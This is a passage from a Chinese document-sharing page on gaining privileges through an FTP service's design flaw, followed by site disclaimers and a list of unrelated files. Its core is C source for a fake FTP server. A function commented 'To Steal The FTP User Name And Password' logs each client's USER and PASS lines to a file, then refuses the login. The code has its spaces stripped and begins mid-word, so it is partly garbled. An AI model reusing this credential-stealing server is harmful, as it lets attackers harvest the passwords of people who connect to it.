下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
第第页利用ftp服务程序本身设计的"缺陷"取得最高权限cceptSocket=INVALID_SOCKET;
SOCKET*CloneSocket=NULL;
while(TRUE)
{
SOCKADDR_INclient;
intnSize=sizeof(client);
AcceptSocket=accept(ListenSocket,(SOCKADDR*)client,nSize);
if(AcceptSocket==INVALID_SOCKET)//SomethingIsWrongAboutTheSocket
{
break;//GetToLeave
}
CloneSocket=(SOCKET*)malloc(sizeof(AcceptSocket));//AllocateForSocketRam
if(CloneSocket==NULL)//NotEnoughRam,VeryRareSituation
{
closesocket(AcceptSocket);//CloseThatConnection
continue;
}
*CloneSocket=AcceptSocket;//MakeACopyOfAccpetSocket
HANDLEhThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0,dwThreadID);//CreateAThread
if(hThread!=NULL)
{
CloseHandle(hThread);
}
}
closesocket(ListenSocket);
returnTRUE;
}//EndOfHandleFPRequest()
//
//Purpose:ToStealTheFTPUserNameAndPassword
//ReturnType:BOOLEAN
//Parameters:
//In:constSOCKETClientSocket--TheConnector'sSocket
//
BOOLRetrieveFTPUserAndPass(constSOCKETClientSocket)
{
constchar*UserOK="331Usernameokay,needpassword.\r\n";
charBuffer[MAX_PATH];
memset(Buffer,0,sizeof(Buffer));
if(!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))//FailToReceiveUserName
{
returnFALSE;
}
if(strnicmp(Buffer,"USER",4)==0)//WeGetTheUserName,StoreItIntoFile
{
EnterCriticalSection(cs);
SaveInfo(LogFile,"\r\n");
SaveInfo(LogFile,Buffer);
LeaveCriticalSection(cs);
}
else//UnknowsCommandReceived
{
returnFALSE;
}
if(!SendSocket(ClientSocket,UserOK))//FailToSendInformation
{
returnFALSE;
}
memset(Buffer,0,MAX_PATH);
if(!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))//FailToReceivePassword
{
returnFALSE;
}
if(strnicmp(Buffer,"PASS",4)==0)//WeGetThePassword,StoreItIntoFile
{
EnterCriticalSection(cs);
SaveInfo(LogFile,Buffer);
SaveInfo(LogFile,"\r\n\r\n");
LeaveCriticalSection(cs);
}
else//UnknowsCommandReceived
{
returnFALSE;
}
returnTRUE;
}//EndOfRetrieveFTPUserAndPass()
//
//Purpose:ToHandleTheConnector'sRequest
//ReturnType:DWORD
//Parameters:
//In:LPVOIDPara--TheConnector'sSocket
//
DWORDWINAPIFTPThread(LPVOIDPara)
{
SOCKETClientSocket=(*(SOCKET*)Para);//RetrieveTheSocket
free(Para);//FreeTheAllocatedRam
if(!SendFTPBanner(ClientSocket))//FailToSendFTPBanner
{
closesocket(ClientSocket);//CloseTheConnection
return1;
}
RetrieveFTPUserAndPass(ClientSocket);//GetTheConnector'sUserNameandPassword
SendSocket(ClientSocket,"530Notloggedin,unauthorizedIPaddress.\r\n");//C
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2024年湖南常德津市市疾病预制中心招聘5人历年高频500题难、易错点模拟试题附带答案详解
- 2024年湖南娄底市双峰县事业单位招考拟聘人员(第二批)高频500题难、易错点模拟试题附带答案详解
- 2024年湖北黄石市统计局招聘地方政府雇员2人高频500题难、易错点模拟试题附带答案详解
- 2024年湖北荆州荆州区事业单位引进人才58人历年高频500题难、易错点模拟试题附带答案详解
- 2024年湖北荆州市长江大学人才招聘151人历年高频500题难、易错点模拟试题附带答案详解
- 2024年湖北省黄石市住房公积金管理中心招聘2人历年高频500题难、易错点模拟试题附带答案详解
- 2024年减震系统材料合作协议书
- 2024年湖北省武汉市洪山区科学技术协会招聘历年高频500题难、易错点模拟试题附带答案详解
- 2024年湖北省武汉天河机场海关招聘监管辅助人员10人历年高频500题难、易错点模拟试题附带答案详解
- 2024年湖北省恩施州建始县事业单位招聘46人历年高频500题难、易错点模拟试题附带答案详解
- 2020年10月自考00369警察伦理学试题及答案含解析
- 人教版四年级数学上册全册电子教案
- 医院伦理知识课件
- 肝性脑病的护理诊断和护理措施
- 《追星星的少年》
- 物控部门述职报告
- 扶贫项目库建设培训课件
- 《现代陶瓷艺术》课件
- 公共政策评估调查报告
- 仓库员工入职培训
- 柠条种植施工方案及方法
评论
0/150
提交评论